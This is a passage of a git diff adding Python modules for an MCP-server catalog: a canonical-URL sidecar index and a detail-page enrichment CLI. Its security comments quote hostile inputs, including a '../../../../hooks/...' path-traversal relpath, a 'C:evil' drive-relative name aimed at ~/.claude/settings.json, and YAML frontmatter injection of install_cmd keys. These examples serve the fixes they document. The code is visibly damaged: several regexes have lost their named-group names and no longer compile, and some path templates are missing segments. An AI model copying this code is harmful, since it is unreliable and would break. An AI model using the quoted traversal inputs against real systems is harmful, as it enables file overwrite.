+        for lineno, line in enumerate(sys.stdin, 1):
+            line = line.strip()
+            if not line:
+                continue
+            try:
+                raw_records.append(json.loads(line))
+            except json.JSONDecodeError as exc:
+                print(f"Warning: line {lineno} skipped (bad JSON): {exc}", file=sys.stderr)
+
+    if not raw_records:
+        print("No records to process.", file=sys.stderr)
+        sys.exit(0)
+
+    added, merged, reviewed, rejected, errors = _process_batch(
+        records=raw_records,
+        wiki_path=wiki_path,
+        dry_run=args.dry_run,
+        skip_existing=args.skip_existing,
+        update_existing=args.update_existing,
+        mcp_entity_dir=mcp_entity_dir,
+    )
+
+    dry_label = " (dry-run)" if args.dry_run else ""
+    print(
+        f"\nDone{dry_label}: {added} added, {merged} updated, "
+        f"{reviewed} reviewed, {rejected} rejected, {errors} errors"
+    )
+
+
+if __name__ == "__main__":
+    main()
diff --git a/src/mcp_canonical_index.py b/src/mcp_canonical_index.py
new file mode 100644
index 0000000000000000000000000000000000000000..c748ed4a2e3cf7579edb067ed93e182016f039bd
--- /dev/null
+++ b/src/mcp_canonical_index.py
@@ -0,0 +1,312 @@
+"""
+mcp_canonical_index.py -- Canonical-key sidecar index for MCP entities.
+
+Phase 6b: replaces the O(n) frontmatter scan in
+``mcp_add._find_existing_by_github_url`` with an O(1) sidecar lookup.
+
+Why
+---
+Cross-source dedup (awesome-mcp + pulsemcp cataloging the same upstream
+repo under different slugs) needs a github_url → existing-entity lookup.
+The Phase 3.6 implementation did ``rglob("*.md")`` + read + YAML-parse on
+every add. At 42 entities it was acceptable (~20 ms); at 15k it becomes
+5-10 s per add, which dominates the ingest budget.
+
+Model
+-----
+The sidecar is a *cache*, not the source of truth. The filesystem wins
+every tie:
+
+- Missing index  -> fall back to scan, repair by upserting the hit.
+- Stale entry (points at deleted file) -> fall back to scan, repair.
+- Corrupted JSON -> treat as missing, rebuild on next upsert.
+
+This keeps ingest resilient when the index file is accidentally deleted,
+partially written (we use atomic_write_json so this should not happen,
+but paranoia is cheap), or diverges from disk state after a manual edit.
+
+Location
+--------
+``/entities/mcp-servers/.canonical-index.json``
+
+The hidden-file prefix keeps it out of the ``rglob("*.md")`` walk and out
+of any wiki_query/graphify pass that only looks at entity pages.
+
+Schema (version 1)
+------------------
+    {
+      "version": 1,
+      "updated": "2026-04-20T12:34:56Z",
+      "by_github_url": {
+        "https://github.com/owner/repo": {
+          "slug": "owner-repo",
+          "relpath": "o/owner-repo.md"
+        }
+      }
+    }
+
+Normalized URL keys only (lowercased, trailing-slash-stripped, github-only)
+to match ``McpRecord.canonical_dedup_key``.
+"""
+
+from __future__ import annotations
+
+import json
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import TypedDict
+
+from ctx.utils._fs_utils import atomic_write_json
+
+__all__ = [
+    "INDEX_FILENAME",
+    "CanonicalEntry",
+    "CanonicalIndex",
+    "load_index",
+    "save_index",
+    "lookup",
+    "upsert",
+    "remove",
+    "rebuild_from_scan",
+]
+
+INDEX_FILENAME = ".canonical-index.json"
+INDEX_VERSION = 1
+
+
+class CanonicalEntry(TypedDict):
+    """One mapped entity: canonical URL -> slug + shard-relative path."""
+
+    slug: str
+    relpath: str
+
+
+class CanonicalIndex(TypedDict):
+    """On-disk JSON shape. ``by_github_url`` keys are normalized URLs."""
+
+    version: int
+    updated: str
+    by_github_url: dict[str, CanonicalEntry]
+
+
+def _now_iso() -> str:
+    """Return a UTC ISO-8601 timestamp with seconds precision."""
+    return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+
+def _empty_index() -> CanonicalIndex:
+    """Return a fresh, valid, empty index structure."""
+    return {"version": INDEX_VERSION, "updated": _now_iso(), "by_github_url": {}}
+
+
+def _index_path(mcp_dir: Path) -> Path:
+    """Return the sidecar path for a given MCP entity directory."""
+    return mcp_dir / INDEX_FILENAME
+
+
+def load_index(mcp_dir: Path) -> CanonicalIndex:
+    """Load the sidecar index. Return an empty index on any failure.
+
+    A missing file, corrupted JSON, schema-version mismatch, or wrong
+    top-level shape all collapse to "empty index" — the caller will
+    repair by upserting as it discovers entities. This is intentional:
+    the index is never authoritative, so fail-open is the right default.
+    """
+    path = _index_path(mcp_dir)
+    if not path.is_file():
+        return _empty_index()
+    try:
+        data = json.loads(path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return _empty_index()
+    if not isinstance(data, dict):
+        return _empty_index()
+    # Treat a version bump as "start over" — future schema changes
+    # should provide their own migration path rather than silently
+    # consuming v1 data.
+    if data.get("version") != INDEX_VERSION:
+        return _empty_index()
+    by_url = data.get("by_github_url")
+    if not isinstance(by_url, dict):
+        return _empty_index()
+    # Defensive: coerce each entry to the typed shape, drop malformed.
+    #
+    # Security-auditor H-2 found the prior impl accepted any string for
+    # ``relpath``, including ``"../../../../hooks/backup_on_change.py"``.
+    # ``lookup`` then built ``mcp_dir / relpath`` and returned the
+    # escaped path; callers (``mcp_add._rewrite_frontmatter``) wrote
+    # back to it via atomic_write_text — arbitrary-file-write primitive
+    # reachable via a poisoned ``.canonical-index.json``. Fixed here by
+    # rejecting any entry whose relpath doesn't resolve under ``mcp_dir``.
+    from ctx.utils._safe_name import is_safe_relpath  # noqa: PLC0415
+
+    cleaned: dict[str, CanonicalEntry] = {}
+    dropped = 0
+    for url, entry in by_url.items():
+        if (
+            isinstance(url, str)
+            and isinstance(entry, dict)
+            and isinstance(entry.get("slug"), str)
+            and isinstance(entry.get("relpath"), str)
+            and is_safe_relpath(mcp_dir, entry["relpath"])
+        ):
+            cleaned[url] = {"slug": entry["slug"], "relpath": entry["relpath"]}
+        else:
+            dropped += 1
+    if dropped:
+        # Surface the drop count so an operator seeing a discrepancy
+        # between mcp-entities/ on disk and the index can diagnose it.
+        # Not raised — a poisoned entry is malicious, not a config
+        # error; silently quarantine it and keep the rest of the
+        # index useful.
+        import logging  # noqa: PLC0415
+        logging.getLogger(__name__).warning(
+            "mcp_canonical_index: dropped %d malformed/unsafe entries "
+            "(likely poisoned relpath) from %s",
+            dropped, _index_path(mcp_dir),
+        )
+    return {
+        "version": INDEX_VERSION,
+        "updated": str(data.get("updated", _now_iso())),
+        "by_github_url": cleaned,
+    }
+
+
+def save_index(mcp_dir: Path, index: CanonicalIndex) -> None:
+    """Write the index atomically to the sidecar path.
+
+    Bumps ``updated`` to now. The atomic_write_json helper lays the file
+    down at 0o600 via the Phase 6a chmod-before-replace hardening so the
+    sidecar never leaks more permissively than the entity pages it
+    indexes.
+    """
+    payload: CanonicalIndex = {
+        "version": INDEX_VERSION,
+        "updated": _now_iso(),
+        "by_github_url": index["by_github_url"],
+    }
+    atomic_write_json(_index_path(mcp_dir), payload)
+
+
+def lookup(
+    mcp_dir: Path, normalized_url: str, *, index: CanonicalIndex | None = None
+) -> Path | None:
+    """Return the absolute path for *normalized_url* if the index has it.
+
+    Callers that already hold the index pass it via *index* to avoid
+    re-reading the file inside a hot loop. Returns ``None`` on miss OR
+    when the indexed path no longer exists on disk — a stale hit is
+    indistinguishable from a miss from the caller's point of view, and
+    treating it as a miss triggers the scan-and-repair path.
+    """
+    idx = index if index is not None else load_index(mcp_dir)
+    entry = idx["by_github_url"].get(normalized_url)
+    if entry is None:
+        return None
+    candidate = mcp_dir / entry["relpath"]
+    if not candidate.is_file():
+        return None
+    return candidate
+
+
+def upsert(
+    mcp_dir: Path,
+    normalized_url: str,
+    *,
+    slug: str,
+    relpath: str,
+    index: CanonicalIndex | None = None,
+    persist: bool = True,
+) -> CanonicalIndex:
+    """Insert or update a canonical mapping. Return the mutated index.
+
+    ``persist=False`` lets batch operations (e.g. rebuild_from_scan)
+    accumulate changes in memory and write once at the end, avoiding N
+    disk writes for N entities.
+    """
+    # Match load_index's containment rule on the write side too —
+    # otherwise a caller could insert an unsafe relpath that survives
+    # in-process lookups until the next load filters it out.
+    from ctx.utils._safe_name import validate_relpath  # noqa: PLC0415
+    validate_relpath(mcp_dir, relpath, field="relpath")
+
+    idx = index if index is not None else load_index(mcp_dir)
+    idx["by_github_url"][normalized_url] = {"slug": slug, "relpath": relpath}
+    if persist:
+        save_index(mcp_dir, idx)
+    return idx
+
+
+def remove(
+    mcp_dir: Path,
+    normalized_url: str,
+    *,
+    index: CanonicalIndex | None = None,
+    persist: bool = True,
+) -> CanonicalIndex:
+    """Drop a mapping. No-op if absent. Return the (possibly mutated) index."""
+    idx = index if index is not None else load_index(mcp_dir)
+    if normalized_url in idx["by_github_url"]:
+        del idx["by_github_url"][normalized_url]
+        if persist:
+            save_index(mcp_dir, idx)
+    return idx
+
+
+def rebuild_from_scan(mcp_dir: Path) -> tuple[CanonicalIndex, int, int]:
+    """Scan every entity page, rebuild the index from scratch.
+
+    Returns ``(index, indexed, skipped)`` where *indexed* counts pages
+    with a parseable github_url and *skipped* counts pages that had no
+    github_url or malformed frontmatter. Both together sum to the total
+    ``*.md`` file count under the MCP entity tree.
+
+    Idempotent: running twice produces an identical ``by_github_url``
+    map. The ``updated`` timestamp will differ.
+
+    Implementation note: we import mcp_add lazily to avoid a circular
+    import — mcp_add itself wants to call ``lookup`` from this module.
+    """
+    from mcp_add import _normalize_github_url, _parse_frontmatter  # noqa: PLC0415
+
+    index = _empty_index()
+    indexed = 0
+    skipped = 0
+
+    if not mcp_dir.is_dir():
+        return index, indexed, skipped
+
+    for page in mcp_dir.rglob("*.md"):
+        # Skip non-entity files that might land under the tree later.
+        if page.name.startswith("."):
+            skipped += 1
+            continue
+        try:
+            text = page.read_text(encoding="utf-8", errors="replace")
+        except OSError:
+            skipped += 1
+            continue
+        fm = _parse_frontmatter(text)
+        normalized = _normalize_github_url(fm.get("github_url"))
+        if normalized is None:
+            skipped += 1
+            continue
+        # Prefer the filename stem over the frontmatter ``name`` field:
+        # the stem is the validated filesystem-safe slug produced by
+        # ``McpRecord.slug``, whereas the ``name`` field may store the
+        # original upstream display name (e.g. ``1mcp/agent`` for a
+        # file at ``0-9/1mcp-agent.md``).
+        slug = page.stem
+        relpath = page.relative_to(mcp_dir).as_posix()
+        upsert(
+            mcp_dir,
+            normalized,
+            slug=slug,
+            relpath=relpath,
+            index=index,
+            persist=False,
+        )
+        indexed += 1
+
+    save_index(mcp_dir, index)
+    return index, indexed, skipped
diff --git a/src/mcp_enrich.py b/src/mcp_enrich.py
new file mode 100644
index 0000000000000000000000000000000000000000..d690cde6ffb4b13b57122b368ae2e08fa6054cfe
--- /dev/null
+++ b/src/mcp_enrich.py
@@ -0,0 +1,685 @@
+#!/usr/bin/env python3
+"""
+mcp_enrich.py -- Phase 6f detail-page enrichment for MCP entities.
+
+Walks every MCP entity file (``/entities/mcp-servers//.md``)
+and calls the source's ``fetch_details(slug)`` to pull ``github_url``
+and ``stars`` from the detail page. The scraped values are written
+back into the entity's YAML frontmatter.
+
+Why this exists (from Phase 6e close-out):
+  - The listing pages scraped by Phase 6c (``mcp_ingest``) expose
+    slug / name / description / classification but NOT a repo URL.
+  - Without ``github_url``, the quality scorer's popularity and
+    freshness signals stay neutral for every MCP, flattening the
+    A/B/C/D distribution to 100% B+C.
+  - ``ctx-mcp-install`` needs a URL to pass to ``claude mcp add``.
+  - The knowledge graph has no way to link pulsemcp entries to the
+    same repo surfaced elsewhere (awesome-mcp, mcp-get, ...).
+
+Checkpoint: ``/.enrich-checkpoint/.json`` — same shape
+as the Phase 6c ingest checkpoint. Slugs in ``processed`` skip on
+resume. ``failures`` retry on the next run unless ``--skip-failures``.
+All fetches go through the existing SSRF-hardened ``fetch_text`` in
+``mcp_sources/base.py`` with the pulsemcp-level date-keyed cache, so
+a second run over the same day is near-instant (cache hit) and a
+re-run tomorrow refreshes everything naturally.
+
+Usage:
+    ctx-mcp-enrich --source pulsemcp                  # all entities
+    ctx-mcp-enrich --source pulsemcp --limit 50       # first 50 only
+    ctx-mcp-enrich --source pulsemcp --slug foo-bar   # single entity
+    ctx-mcp-enrich --source pulsemcp --status         # checkpoint report
+    ctx-mcp-enrich --source pulsemcp --reset          # delete checkpoint
+    ctx-mcp-enrich --source pulsemcp --dry-run        # fetch but don't write
+"""
+
+from __future__ import annotations
+
+import argparse
+import json
+import logging
+import os
+import re
+import signal
+import sys
+import time
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Iterable
+
+from ctx.utils._fs_utils import atomic_write_json, atomic_write_text
+from ctx_config import cfg
+from mcp_sources import SOURCES
+
+_logger = logging.getLogger(__name__)
+
+CHECKPOINT_SUBDIR = ".enrich-checkpoint"
+CHECKPOINT_VERSION = 1
+DEFAULT_FLUSH_EVERY = 10
+DEFAULT_SLEEP_SECONDS = 0.5  # polite pacing between live fetches
+
+_MCP_ENTITY_SUBDIR = Path("entities") / "mcp-servers"
+
+# Line-break codepoints that Python's str.splitlines() treats as
+# boundaries. The renderer neutralises all five so that a quoted
+# scalar cannot be split into new frontmatter lines by the project's
+# splitlines-based parser (_parse_entity_frontmatter). Strix
+# vuln-0001 HIGH. \x85 is NEL, 
 is LINE SEPARATOR, 
 is
+# PARAGRAPH SEPARATOR — written with \u escapes so editor autonorm
+# cannot silently convert them to plain space (U+0020).
+_LINE_SEP_TRANSLATE = str.maketrans({
+    "\r": " ", "\n": " ",
+    "\x85": " ", "\u2028": " ", "\u2029": " ",
+})
+
+
+# ── Graceful exit ────────────────────────────────────────────────────────────
+
+
+class _GracefulExit:
+    """Mirror of mcp_ingest._GracefulExit — see that module for the
+    rationale (cooperative signal handling between records)."""
+
+    def __init__(self) -> None:
+        self.requested = False
+        self._prev_int = signal.getsignal(signal.SIGINT)
+        self._prev_term = signal.getsignal(signal.SIGTERM)
+
+    def install(self) -> None:
+        signal.signal(signal.SIGINT, self._handle)
+        try:
+            signal.signal(signal.SIGTERM, self._handle)
+        except (ValueError, OSError):
+            pass
+
+    def uninstall(self) -> None:
+        signal.signal(signal.SIGINT, self._prev_int)
+        try:
+            signal.signal(signal.SIGTERM, self._prev_term)
+        except (ValueError, OSError):
+            pass
+
+    def _handle(self, signum: int, frame: object) -> None:  # noqa: ARG002
+        self.requested = True
+
+
+# ── Checkpoint ───────────────────────────────────────────────────────────────
+
+
+def _now_iso() -> str:
+    return datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
+
+
+def _checkpoint_path(wiki_path: Path, source: str) -> Path:
+    # Delegate to shared validator. Prior impl only rejected ``/``, ``\\``
+    # and leading ``.``, which let Windows drive-relative names like
+    # ``C:evil`` through — those resolve against drive C's CWD, not the
+    # wiki, which an attacker could use to overwrite ~/.claude/settings.json
+    # via ``--source "C:...\\settings"``. Security-auditor H-3, fixed here.
+    from ctx.utils._safe_name import validate_source_name  # noqa: PLC0415
+    validate_source_name(source, field="source")
+    return wiki_path / CHECKPOINT_SUBDIR / f"{source}.json"
+
+
+def _empty_checkpoint(source: str) -> dict:
+    now = _now_iso()
+    return {
+        "version": CHECKPOINT_VERSION,
+        "source": source,
+        "started_at": now,
+        "updated_at": now,
+        "total_seen": 0,
+        "processed": {},
+        "failures": {},
+    }
+
+
+def load_checkpoint(wiki_path: Path, source: str) -> dict:
+    """Tolerant load — any error resets to a fresh checkpoint.
+
+    The authoritative state lives in the entity frontmatter itself;
+    a lost or corrupt checkpoint just means the next run re-fetches
+    the detail pages (which hit the cache, so cheap).
+    """
+    path = _checkpoint_path(wiki_path, source)
+    if not path.is_file():
+        return _empty_checkpoint(source)
+    try:
+        data = json.loads(path.read_text(encoding="utf-8"))
+    except (OSError, json.JSONDecodeError):
+        return _empty_checkpoint(source)
+    if not isinstance(data, dict) or data.get("version") != CHECKPOINT_VERSION:
+        return _empty_checkpoint(source)
+    if data.get("source") != source:
+        return _empty_checkpoint(source)
+    processed = data.get("processed") or {}
+    failures = data.get("failures") or {}
+    if not isinstance(processed, dict) or not isinstance(failures, dict):
+        return _empty_checkpoint(source)
+    return {
+        "version": CHECKPOINT_VERSION,
+        "source": source,
+        "started_at": str(data.get("started_at") or _now_iso()),
+        "updated_at": str(data.get("updated_at") or _now_iso()),
+        "total_seen": int(data.get("total_seen") or 0),
+        "processed": processed,
+        "failures": failures,
+    }
+
+
+def save_checkpoint(wiki_path: Path, checkpoint: dict) -> None:
+    checkpoint["updated_at"] = _now_iso()
+    atomic_write_json(_checkpoint_path(wiki_path, checkpoint["source"]), checkpoint)
+
+
+# ── Entity discovery ─────────────────────────────────────────────────────────
+
+
+def _iter_entities(wiki_path: Path) -> Iterable[Path]:
+    """Yield every ``/entities/mcp-servers//.md`` file.
+
+    Sort globally for determinism — otherwise a resume after a crash
+    at entity #5,000 might skip ahead or rewind depending on platform
+    shard-iteration order.
+    """
+    root = wiki_path / _MCP_ENTITY_SUBDIR
+    if not root.is_dir():
+        return []
+    return sorted(root.rglob("*.md"))
+
+
+def _extract_slug_from_path(path: Path) -> str:
+    """Entity files are named ``.md`` — stem is the WIKI slug.
+
+    Note this is not necessarily the slug used by the upstream source
+    (e.g. pulsemcp): during ingest, non-ASCII names can cause the
+    wiki slug to get mangled (``ignfab-geoportail`` → ``g-oportail``)
+    while the authoritative ``homepage_url`` preserves the real URL.
+    Use ``_source_slug_from_entity`` when you need the slug to pass
+    to ``source.fetch_details``.
+    """
+    return path.stem
+
+
+# Map {source_name: regex that pulls the upstream slug out of a
+# homepage_url}. Each regex has one named group ``slug``.
+_SOURCE_SLUG_PATTERNS: dict[str, re.Pattern[str]] = {
+    "pulsemcp": re.compile(
+        r"^https?://(?:www\.)?pulsemcp\.com/servers/(?P[^/?#\s]+)"
+    ),
+}
+
+
+def _source_slug_from_entity(
+    entity_path: Path, source_name: str
+) -> str | None:
+    """Pull the upstream slug out of the entity's frontmatter.
+
+    For pulsemcp, parses ``homepage_url``:
+    ``https://www.pulsemcp.com/servers/`` → ````.
+
+    Returns ``None`` when the entity has no homepage_url, the URL
+    doesn't match the expected shape, or the source isn't registered
+    in ``_SOURCE_SLUG_PATTERNS``. The caller treats None as "skip
+    with a clear failure message" rather than as an error — a
+    partner like glama/mcp-get won't have pulsemcp URLs.
+    """
+    pattern = _SOURCE_SLUG_PATTERNS.get(source_name)
+    if pattern is None:
+        return None
+    try:
+        text = entity_path.read_text(encoding="utf-8", errors="replace")
+    except OSError:
+        return None
+    fm_match = _FRONTMATTER_RE.match(text)
+    if fm_match is None:
+        return None
+    url_match = re.search(
+        r"^homepage_url:[ \t]*(?P.+)$",
+        fm_match.group(1),
+        flags=re.MULTILINE,
+    )
+    if url_match is None:
+        return None
+    url = url_match.group("url").strip().strip('"').strip("'")
+    slug_match = pattern.match(url)
+    return slug_match.group("slug") if slug_match else None
+
+
+# ── Frontmatter update ───────────────────────────────────────────────────────
+
+
+_FRONTMATTER_RE = re.compile(r"^---\n(.*?)\n---\n", re.DOTALL)
+
+
+def _set_frontmatter_field(text: str, field: str, value: Any) -> str:
+    """Replace or insert ``field: value`` in the YAML frontmatter.
+
+    Lossy for complex YAML (lists, mappings) but we only touch simple
+    scalar fields (``github_url``, ``stars``, ``updated``), and the
+    frontmatter on these entity files is flat. Uses line-anchored
+    regex so a ``github_url: null`` in the middle doesn't match a
+    hypothetical ``sub_github_url`` key on a following line.
+    """
+    escaped = re.escape(field)
+    rendered = _render_scalar(value)
+
+    # Try to replace an existing key.
+    pattern = rf"^{escaped}:[ \t]*.*$"
+    repl = f"{field}: {rendered}"
+    new_text, n = re.subn(pattern, repl, text, count=1, flags=re.MULTILINE)
+    if n:
+        return new_text
+
+    # Key didn't exist — insert after the opening delimiter. We only
+    # do this inside the frontmatter block to avoid polluting bodies.
+    fm_match = _FRONTMATTER_RE.match(text)
+    if fm_match is None:
+        return text  # no frontmatter at all; skip rather than fabricate
+    insert_at = fm_match.end(1)
+    return text[:insert_at] + f"\n{field}: {rendered}" + text[insert_at:]
+
+
+def _render_scalar(value: Any) -> str:
+    """YAML-scalar rendering for the handful of types we write.
+
+    ``None`` → ``null`` (matches the existing frontmatter convention
+    for unset fields). Strings are double-quoted when they could be
+    misparsed as another YAML type (start with ``-``, contain ``:``);
+    github URLs are alnum+``/.-_`` so they fall in the safe-bare
+    range, but we quote anyway for consistency.
+
+    SECURITY NOTE: strings are stripped of ``\\n`` / ``\\r`` before
+    rendering to prevent frontmatter injection. Security-auditor H-1:
+    a Source implementation that returned a multi-line URL value
+    (e.g. scraped from a poisoned detail page) would otherwise inject
+    fake YAML keys like ``status: installed`` or ``install_cmd: ...``
+    which the next ``ctx-mcp-install --force`` would dutifully pick
+    up from the now-poisoned frontmatter. The executable allowlist
+    (commit b79be55) catches most of the blast radius today, but the
+    injection vector must be shut at the writer too.
+    """
+    if value is None:
+        return "null"
+    if isinstance(value, bool):
+        return "true" if value else "false"
+    if isinstance(value, int):
+        return str(value)
+    if isinstance(value, str):
+        # Neutralise ASCII line breaks (\r\n) AND Unicode line separators
+        # (U+0085 NEL, U+2028 LS, U+2029 PS). Python's str.splitlines()
+        # treats all five as line boundaries, so downstream splitlines-
+        # based parsers (mcp_install._parse_entity_frontmatter,
+        # wiki_utils) would otherwise see a quoted scalar as multiple
+        # frontmatter lines — Strix vuln-0001 HIGH (CWE-116). Mirrors
+        # install_utils._render_scalar so the two stay aligned.
+        sanitised = value.translate(_LINE_SEP_TRANSLATE)
+        # Conservative: quote on the full YAML 1.1 reserved-indicator set,
+        # leading block indicators, or leading/trailing whitespace. The
+        # unquoted path is reserved for simple alphanumeric-style values
+        # that YAML's plain-scalar scanner parses unambiguously. Mirrors
+        # install_utils._render_scalar — the two must stay aligned.
+        yaml_structural = set(",[]{}:?#&*!|>%@`=\"'\\")
+        needs_quote = (
+            any(ch in sanitised for ch in yaml_structural)
+            or (
+                sanitised
+                and (
+                    sanitised[0] == "-"
+                    or sanitised[0].isspace()
+                    or sanitised[-1].isspace()
+                )
+            )
+            or sanitised.startswith(("?", "[", "{"))
+        )
+        if needs_quote:
+            escaped = sanitised.replace("\\", "\\\\").replace('"', '\\"')
+            return f'"{escaped}"'
+        return sanitised
+    # Defensive fallback — stringify and quote.
+    return f'"{str(value)}"'
+
+
+def apply_enrichment(
+    entity_path: Path, enrichment: dict, *, dry_run: bool
+) -> dict:
+    """Write ``enrichment`` fields into the entity's frontmatter.
+
+    Returns a diff dict ``{field: (old, new)}`` describing what
+    changed, or an empty dict when nothing needed updating. Updates
+    ``updated`` with today's ISO date only when at least one other
+    field changed — a no-op run shouldn't bump the mtime.
+    """
+    if not enrichment:
+        return {}
+
+    text = entity_path.read_text(encoding="utf-8", errors="replace")
+    fm_match = _FRONTMATTER_RE.match(text)
+    if fm_match is None:
+        return {}
+
+    diff: dict[str, tuple[Any, Any]] = {}
+    for field, new_val in enrichment.items():
+        # Parse current value cheaply with a line grep rather than
+        # pulling a yaml dependency for three scalar reads.
+        pat = re.compile(rf"^{re.escape(field)}:[ \t]*(?P.*)$", re.MULTILINE)
+        cur_match = pat.search(fm_match.group(0))
+        current: Any = None
+        if cur_match is not None:
+            raw = cur_match.group("val").strip()
+            if raw in ("", "null", "~"):
+                current = None
+            elif raw.isdigit():
+                current = int(raw)
+            else:
+                current = raw.strip('"').strip("'")
+        if current != new_val:
+            diff[field] = (current, new_val)
+            text = _set_frontmatter_field(text, field, new_val)
+
+    if diff and not dry_run:
+        today = datetime.now(timezone.utc).strftime("%Y-%m-%d")
+        text = _set_frontmatter_field(text, "updated", today)
+        atomic_write_text(entity_path, text)
+    return diff
+
+
+# ── Core loop ────────────────────────────────────────────────────────────────
+
+
+def enrich_entities(
+    entity_paths: list[Path],
+    *,
+    source_name: str,
+    wiki_path: Path,
+    checkpoint: dict,
+    refresh: bool = False,
+    dry_run: bool = False,
+    limit: int | None = None,
+    skip_failures: bool = False,
+    flush_every: int = DEFAULT_FLUSH_EVERY,
+    sleep_seconds: float = DEFAULT_SLEEP_SECONDS,
+    graceful: _GracefulExit | None = None,
+    report_progress: bool = True,
+) -> dict:
+    """Enrich each entity via ``source.fetch_details(slug)``.
+
+    Returns the same checkpoint (mutated).
+    """
+    source = SOURCES.get(source_name)
+    if source is None:
+        raise ValueError(
+            f"unknown source {source_name!r}; known: {sorted(SOURCES)}"
+        )
+    if not hasattr(source, "fetch_details"):
+        raise NotImplementedError(
+            f"source {source_name!r} does not implement fetch_details()"
+        )
+
+    processed = checkpoint["processed"]
+    failures = checkpoint["failures"]
+
+    attempted = enriched = unchanged = failed = skipped = 0
+    for path in entity_paths:
+        if limit is not None and attempted >= limit:
+            break
+        if graceful and graceful.requested:
+            break
+
+        wiki_slug = _extract_slug_from_path(path)
+        if wiki_slug in processed:
+            skipped += 1
+            continue
+        if wiki_slug in failures and skip_failures:
+            skipped += 1
+            continue
+
+        attempted += 1
+        checkpoint["total_seen"] += 1
+
+        source_slug = _source_slug_from_entity(path, source_name)
+        if source_slug is None:
+            # Entity has no homepage_url for this source (e.g. ingested
+            # from a different source). Record a skip so we don't
+            # retry; it's not a failure.
+            processed[wiki_slug] = {
+                "result": "no-source-url",
+                "at": _now_iso(),
+                "fields": [],
+            }
+            if report_progress:
+                print(
+                    f"  [{attempted}] [no-source-url] {wiki_slug}",
+                    flush=True,
+                )
+            if attempted % flush_every == 0:
+                save_checkpoint(wiki_path, checkpoint)
+            continue
+
+        try:
+            enrichment = source.fetch_details(source_slug, refresh=refresh)
+        except Exception as exc:  # noqa: BLE001 — batch must continue
+            failed += 1
+            failures[wiki_slug] = {
+                "error": f"{type(exc).__name__}: {exc}",
+                "at": _now_iso(),
+                "source_slug": source_slug,
+            }
+            if report_progress:
+                print(
+                    f"  [{attempted}] [FAIL] {wiki_slug} "
+                    f"(source={source_slug}): {type(exc).__name__}",
+                    flush=True,
+                )
+            if attempted % flush_every == 0:
+                save_checkpoint(wiki_path, checkpoint)
+            continue
+
+        try:
+            diff = apply_enrichment(path, enrichment, dry_run=dry_run)
+        except Exception as exc:  # noqa: BLE001
+            failed += 1
+            failures[wiki_slug] = {
+                "error": f"apply: {type(exc).__name__}: {exc}",
+                "at": _now_iso(),
+                "source_slug": source_slug,
+            }
+            if report_progress:
+                print(
+                    f"  [{attempted}] [APPLY-FAIL] {wiki_slug}: {exc}",
+                    flush=True,
+                )
+            continue
+
+        if diff:
+            enriched += 1
+            outcome = "enriched"
+            failures.pop(wiki_slug, None)
+        elif enrichment:
+            unchanged += 1
+            outcome = "unchanged"
+        else:
+            unchanged += 1
+            outcome = "no-repo"
+
+        processed[wiki_slug] = {
+            "result": outcome,
+            "at": _now_iso(),
+            "fields": list(enrichment.keys()) if enrichment else [],
+            "source_slug": source_slug,
+        }
+
+        if report_progress:
+            fields = ",".join(enrichment.keys()) if enrichment else "none"
+            print(
+                f"  [{attempted}] [{outcome}] {wiki_slug} "
+                f"(source={source_slug}, fields={fields})",
+                flush=True,
+            )
+
+        if attempted % flush_every == 0:
+            save_checkpoint(wiki_path, checkpoint)
+
+        # Polite pacing — only between LIVE fetches, not cache hits.
+        # We can't cheaply tell from here whether fetch_text hit cache,
+        # so use a short default (0.5s) that's fine either way.
+        if sleep_seconds > 0:
+            time.sleep(sleep_seconds)
+
+    save_checkpoint(wiki_path, checkpoint)
+    if report_progress:
+        tail = " (interrupted)" if graceful and graceful.requested else ""
+        print(
+            f"\nEnrich summary{tail}: attempted={attempted}, enriched={enriched}, "
+            f"unchanged/no-repo={unchanged}, failed={failed}, skipped_resume={skipped}",
+            flush=True,
+        )
+    return checkpoint
+
+
+# ── CLI ──────────────────────────────────────────────────────────────────────
+
+
+def _print_status(wiki_path: Path, source: str) -> None:
+    cp = load_checkpoint(wiki_path, source)
+    print(f"source:       {cp['source']}")
+    print(f"started_at:   {cp['started_at']}")
+    print(f"updated_at:   {cp['updated_at']}")
+    print(f"total_seen:   {cp['total_seen']}")
+    print(f"processed:    {len(cp['processed'])}")
+    print(f"failures:     {len(cp['failures'])}")
+    # Breakdown by outcome.
+    outcomes: dict[str, int] = {}
+    for entry in cp["processed"].values():
+        result = str(entry.get("result", "?"))
+        outcomes[result] = outcomes.get(result, 0) + 1
+    if outcomes:
+        print("\nProcessed breakdown:")
+        for k in sorted(outcomes):
+            print(f"  {k}: {outcomes[k]}")
+    if cp["failures"]:
+        print("\nLast 5 failures:")
+        for slug, info in list(cp["failures"].items())[-5:]:
+            print(f"  {slug}: {info['error'][:120]}")
+
+
+def _build_parser() -> argparse.ArgumentParser:
+    parser = argparse.ArgumentParser(
+        prog="ctx-mcp-enrich",
+        description=(
+            "Enrich MCP entity frontmatter from per-source detail pages. "
+            "Currently supports --source pulsemcp (github_url + stars)."
+        ),
+    )
+    parser.add_argument("--source", required=True, help="Source name (e.g. pulsemcp)")
+    group = parser.add_mutually_exclusive_group()
+    group.add_argument("--slug", help="Enrich one slug only (dry-run candidate)")
+    group.add_argument(
+        "--status", action="store_true",
+        help="Print checkpoint summary and exit",
+    )
+    group.add_argument(
+        "--reset", action="store_true",
+        help="Delete the checkpoint for --source before starting",
+    )
+    parser.add_argument("--limit", type=int, default=None,
+                        help="Cap the number of entities attempted this run")
+    parser.add_argument("--refresh", action="store_true",
+                        help="Bypass the raw detail-page cache")
+    parser.add_argument("--dry-run", action="store_true",
+                        help="Fetch but do not write any frontmatter")
+    parser.add_argument(
+        "--skip-failures", action="store_true",
+        help="Do not retry slugs already present in checkpoint.failures",
+    )
+    parser.add_argument(
+        "--flush-every", type=int, default=DEFAULT_FLUSH_EVERY,
+        help=f"Checkpoint flush cadence (default {DEFAULT_FLUSH_EVERY})",
+    )
+    parser.add_argument(
+        "--sleep", type=float, default=DEFAULT_SLEEP_SECONDS,
+        help=f"Seconds between fetches (default {DEFAULT_SLEEP_SECONDS})",
+    )
+    parser.add_argument("--wiki", default=str(cfg.wiki_dir), help="Wiki root")
+    parser.add_argument("--quiet", action="store_true",
+                        help="Suppress per-entity progress lines")
+    return parser
+
+
+def _force_utf8_stdio() -> None:
